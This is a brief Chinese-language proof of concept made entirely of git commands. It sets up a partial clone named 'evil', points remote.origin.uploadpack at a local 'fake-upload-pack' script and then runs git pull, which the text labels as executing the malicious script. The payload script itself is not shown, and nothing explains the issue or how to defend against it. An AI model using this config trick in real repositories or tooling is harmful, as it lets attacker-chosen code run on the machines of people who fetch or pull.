创建 tmp 仓库，设置uploadpack.allowfilter为true

git init tmp

git -C tmp config uploadpack.allowfilter 1

从 tmp 仓库克隆 evil

git clone --filter=blob:none --no-local --no-checkout tmp evil

rm -rf tmp

配置远程过滤脚本

git -C evil config remote.origin.uploadpack "./fake-upload-pack"

执行恶意脚本

git pull